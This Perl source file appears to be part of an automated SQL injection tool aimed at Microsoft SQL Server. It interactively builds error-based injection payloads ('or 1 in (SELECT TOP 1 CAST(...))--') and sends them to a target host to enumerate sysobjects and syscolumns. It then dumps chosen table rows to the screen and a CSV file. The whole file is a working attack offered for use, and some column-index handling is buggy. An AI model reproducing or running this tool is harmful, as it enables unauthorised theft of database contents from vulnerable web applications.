############################
# Automagically dump table structure and table values
# 
# using this method i worked out trying to get the origional 
# table dumper working:
#' or 1 in (SELECT TOP 1 'abc'+CAST(num as varchar(4096)) from testtable)--
#


############################
# many of the options are commented out till later
#
############################
use Switch;
return 1;

sub sysobjects_dumper2{

startoftabledumper:	# Lable to go back to to start over, easier to read than a loop

print "\n\nEnter the database to start from\n[master.dbo.sysobjects | sysobjects]:";

$sysobjects=<STDIN>;chomp $sysobjects;

if ($sysobjects =~ 'master'){$ismaster='master..';}; # set this prefix for master database


print "Please select one of the following types to list:\n".
	#"C \t CHECK constraint"
	#."\n"."D \t Default or DEFAULT constraint"
	#."\n"."F \t FOREIGN KEY constraint"
	#."\n"."L \t Log"
	#."\n"."P \t Stored procedure"
	#."\n"."PK \t PRIMARY KEY constraint (type is K)"
	#."\n"."RF \t Replication filter stored procedure"
	#."\n"."S \t System table"
	#."\n"."TR \t Trigger2"
	"\n"."U \t User table"
	#."\n"."UQ \t UNIQUE constraint (type is K)"
	#."\n"."V \t View"
	#."\n"."X \t Extended stored procedure"
	#."\n"."C \t CHECK constraint"
	#."\n"."D \t Default or DEFAULT constraint"
	#."\n"."F \t FOREIGN KEY constraint"
	#."\n"."L \t Log"
	#."\n"."P \t Stored procedure"
	#."\n"."PK \t PRIMARY KEY constraint (type is K)"
	#."\n"."RF \t Replication filter stored procedure"
	."\n"."S \t System table";
	#."\n"."TR \t Trigger"
	#."\n"."U \t User table"
	#."\n"."UQ \t UNIQUE constraint (type is K)"
	#."\n"."V \t View"
	#."\n"."X \t Extended stored procedure\n\n";

print "\n\nEnter selection:";

	$type=<STDIN>; chomp $type;

$object="!"; # Start WHERE search here

############################
# Extract sysobjects
############################

$index=1; # Start at first row and work down
while(1){



	$print_buffer="";
	$t_query=

	$qt ." or 1 in \(SELECT TOP 1 CAST(name as varchar(4096)) from ".$sysobjects." WHERE type='".$type."' AND name > '".$object."')--";	
	

#print $t_query;

	sendsqlattack($t_host,$t_query,$req,$t_port);
	chomp $err;
	$print_buffer = "Object Name:$err" ."\n";
$object=$err; # Set object
	print $print_buffer;
	$index++;
if(length($err) ==0){ last;}
}



############################
# Continue or start over
############################



print "\nWhat do you want to do, (C)ontinue and examine a table or (S)tart Over? :";
$choose =<STDIN>;chomp $choose; $choose=uc($choose);
#print "you chose $choose";

switch ($choose) {

		case 'S'	{goto startoftabledumper}		
		case 'C'	{}
}



############################
# Probe a table
############################

startofprober:

print "\nPlease enter the table you want to examine:";
$tablename=<STDIN>;chomp $tablename;

$tablename2=$tablename; ### Something somewhere is setting
			### $tablename, Prob in injector.include. Setting $tablename2
			### to save time.
	


############################
# Extract selected table
############################

$object="!"; # Start WHERE search here
$index=1; # Start at first row and work down
while(1){

	$print_buffer="";
	$t_query=	
	$qt ." or 1 in \(SELECT TOP 1 CAST(name as varchar(4096)) from ".$ismaster.'syscolumns where id=object_id('."'".$ismaster.$tablename2."'".') AND name >'."'".$object."'".')--';

#print $t_query;


#' or 1 in (SELECT TOP 1 'abc'+CAST(num as varchar(4096)) from testtable)--
#' INSERT into '.$dbtype.'automagictable2 select name,type from '.$ismaster. 'syscolumns where id=object_id('."'".$ismaster.$tablename."'".')--';
	


sendsqlattack($t_host,$t_query,$req,$t_port);
	chomp $err;
if(length($err) ==0){ last;}	# If reached the end exit sub
	$print_buffer = "Column Name:$err" ."\n";

$object=$err; # SET value to index by

	print $print_buffer;
	$index++;

}

############################
# Continue or start over
############################

print "\nWhat do you want to do?\n(C)ontinue and dump rows, (D)ifferent table or (S)tart Over? :";
$choose =<STDIN>;chomp $choose; $choose=uc($choose);
#print "you chose $choose";

switch ($choose) {

		case 'S'	{goto startoftabledumper}		
		case 'D'	{goto startofprober}
		case 'C'	{}
}



##########################################################################
# dump tables
#
# Note: this bit probabally needs totally recoding
#	it would be better to create a new table with a identity field
#	so that stuff can be indexed correctly
#
#	Seems to work ok tho.
#



print "\nEnter the columns you want dump separated with a \/\n\(up to 10 columns currently\):";
	$user_cols=<STDIN>;chomp $user_cols;
print "Please number of rows to return:";
	$rows=<STDIN>;chomp $rows;
print "Plz WHERE:";
   $where_clause=<STDIN>; chomp $where_clause;

(@cols)=split(/\//,$user_cols);




#hold values in these
@col1data="";
@col2data="";
@col3data="";
@col4data="";
@col5data="";
@col6data="";
@col7data="";
@col8data="";
@col9data="";
@col10data="";




############################
# extract tabledata
############################


# Messy structure to hold data


col_enumerator($tablename2); 	# enum
display_table();		# display

 
############################
# Col enumerator sub
############################


 #Start indexing first col with this val

sub col_enumerator{

@coldata_tmp="";
$object="!";

@col_enumeratorvars=@_;
	
	$tblname=$col_enumeratorvars[0];
	$colname=$col_enumeratorvars[1];
	
	for ($ce=1;$ce <= $rows; ++$ce){	# Loop thro number of rows

############################
# Get first Col and use to
# index the rest
############################

	$t_query=

		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[0]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." > '".$object."')--";			
			
	sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col1data, $thevalue);	
			$object=$thevalue;


############################
# The following could obviously
# be cut down into a sub
# was easier to cut and paste
# to save time
############################
	


############################
# dump 10 columns using $object
# to index (first col)
############################

$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[1]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col2data, $thevalue);	
					

$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[2]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col3data, $thevalue);	

$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[3]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col4data, $thevalue);	

$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[4]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col5data, $thevalue);	
$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[6]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col6data, $thevalue);	
$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[7]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col8data, $thevalue);	
$t_query=
		$qt ." or 1 in \(SELECT TOP 1 'AMAGIC'+CAST(".$cols[9]." as varchar(4096)) from ".$ismaster.$tblname." WHERE $where_clause AND ".$cols[0]." = '".$object."')--";		
		#print $t_query;
		sendsqlattack($t_host,$t_query,$req,$t_port);
			($crap,$thevalue)=split(/AMAGIC/,$err);chomp $thevalue;
			push(@col10data, $thevalue);	
 
	}	
	


} # end of for col_enumerator sub


############################
# Display to screen sub and write to a csv file
############################

sub display_table{

print "To view correctly a .csv file needs to be created.\n\nPlease enter output file name:";
$filename=<STDIN>;chomp $filename;



@dtable=@_;
$dnumber=$dtable[0];

for($p=1; $p <=$rows;++$p){
open(OUTFILE,">>$filename");
print  $col1data[$p].','.$col2data[$p].','.$col3data[$p].','.$col4data[$p] 
.','.$col5data[$p].','.$col6data[$p].','.$col7data[$p].','.$col8data[$p]
.','.$col9data[$p].','.$col10data[$p] ."\n";		


print OUTFILE $col1data[$p].','.$col2data[$p].','.$col3data[$p].','.$col4data[$p] 
.','.$col5data[$p].','.$col6data[$p].','.$col7data[$p].','.$col8data[$p]
.','.$col9data[$p].','.$col10data[$p]."\n";
close OUTFILE;
		}
	} #end of display table

} #end of sysobjects_dumper